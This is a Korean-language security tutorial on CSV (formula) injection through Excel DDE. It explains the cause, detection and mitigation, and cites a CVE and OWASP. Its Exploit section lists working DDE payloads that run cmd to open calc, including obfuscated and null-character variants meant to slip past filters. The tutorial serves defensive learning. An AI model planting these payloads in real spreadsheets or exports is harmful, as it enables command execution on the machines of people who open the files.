Intro

🚨 ν˜„μž¬λŠ” μ‚¬μš©μžκ°€ DDE μž‘λ™ ν—ˆμš© 섀정을 ν•˜λ”λΌλ„ DDEκ°€ ν¬ν•¨λœ CSV νŒŒμΌμ„ μ—΄ λ•Œ, Excel 경고창이 λ‚˜νƒ€λ„λ‘ λ˜μ–΄μžˆμ–΄ μ‚¬νšŒ 곡학적 μš”μ†Œλ„ ν•„μš”ν•œ 곡격 λ°©λ²•μž…λ‹ˆλ‹€.

Formula Injection 취약점 λ‚΄ ν•œ μ’…λ₯˜λ‘œ λΆ„λ₯˜λ˜λŠ” CSV Injection은 일반적으둜 CSV Export λ“±κ³Ό 같은 CSV File Download κΈ°λŠ₯μ—μ„œ λ°œμƒλ©λ‹ˆλ‹€.
β˜‘οΈκ°„ν˜Ή 잘λͺ»λœ 둜직으둜 .xlsx 생성 μ‹œμ— λ°œμƒν•˜κΈ°λ„ ν•©λ‹ˆλ‹€.

λ°œμƒ μ›λ¦¬λŠ” DDE(Dynamic Data Exchange)λΌλŠ” Window μš΄μ˜μ²΄μ œμ—μ„œ μ‘μš© ν”„λ‘œκ·Έλž¨ κ°„ 데이터 전솑을 μœ„ν•΄ μ‚¬μš©λ˜λŠ” κΈ°λŠ₯이 μ•…μ˜μ μœΌλ‘œ μž‘λ™λ¨μ— κΈ°λ°˜ν•©λ‹ˆλ‹€.

운영체제 λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰μ‹œν‚¬ 수 μžˆλ‹€λŠ” μ μ—μ„œ μœ„ν—˜ν•œ μ·¨μ•½μ μ΄μ§€λ§Œ, λ§Žμ€ 쑰건듀이 κ°–μΆ°μ Έμ•Όλ§Œ μ‹€μ œ 곡격이 κ°€λŠ₯ν•˜μ—¬ 일뢀 λ²„κ·Έλ°”μš΄ν‹° ν”„λ‘œκ·Έλž¨μ—μ„œλŠ” λ°›μ•„λ“€μ—¬μ§€μ§€ μ•ŠλŠ” 취약점 μž…λ‹ˆλ‹€.

ν•˜μ§€λ§Œ, μ•…μ„± DDEλ₯Ό μ‚½μž…ν•˜λŠ” 과정이 λ‹¨μˆœν•˜λ©° μ„œλΉ„μŠ€ νŠΉμ„± 상 μ‚¬μš©μžκ°€ ν•΄λ‹Ή νŒŒμΌμ„ μ‹ λ’°ν•˜λŠ” 상황이라면 μœ„ν—˜λ„λŠ” λ†’μŠ΅λ‹ˆλ‹€. κ·Έ 예둜 CVE-2023-51763 κ°€ μžˆμŠ΅λ‹ˆλ‹€.

Detect & Exploit

Detect

μ‚¬μš©μž μž…λ ₯ 값이 CSV File Download μ‹œ λ°˜μ˜λ˜λŠ” μ§€ ν™•μΈν•˜κ³ , μ•…μ„± DDEλ₯Ό λ™μž‘μ‹œν‚¬ 수 μžˆλŠ” 특수문자(-, +, @, = )κ°€ Cell κ°€μž₯ μ•ž 뢀뢄에 μœ„μΉ˜ν•  수 μžˆλŠ” μ§€ ν™•μΈν•˜λ©΄ λ©λ‹ˆλ‹€.

#Request
GET /api/csv_export HTTP/2
Host: victim.com

#Response
HTTP/2 200 OK

title
=2+5+cmd|' /C calc'!A0

Exploit

νƒμ§€ν•œ 뢀뢄에 μ•…μ„± DDEλ₯Ό μ‚½μž… ν›„ λ‹€μš΄λ‘œλ“œν•˜μ—¬ μž‘λ™ μ—¬λΆ€λ₯Ό μ‚΄νŽ΄λ³΄λ©΄ λ©λ‹ˆλ‹€.

#Basic Payload
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'

#Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
=         cmd|'/c calc.exe'!A

#Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
=    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A

Security Measures

μ•…μ„± DDEλ₯Ό λ™μž‘μ‹œν‚¬ 수 μžˆλŠ” 특수문자(-, +, @, = )κ°€ Cell κ°€μž₯ μ•žλΆ€λΆ„μ— μœ„μΉ˜ν•  수 없도둝 Space, ' 등을 κ°€μž₯ μ•žμ— μ‚½μž…ν•˜μ—¬ μ‘°μΉ˜ν•˜λ©΄ λ©λ‹ˆλ‹€.

'=2+5+cmd|' /C calc'!A0
 =cmd|' /C calc'!'A1'

References

Formula/CSV/Doc/LaTeX/GhostScript Injection
OWASP-CSV Injection
PayloadsAllTheThings
CSV Injection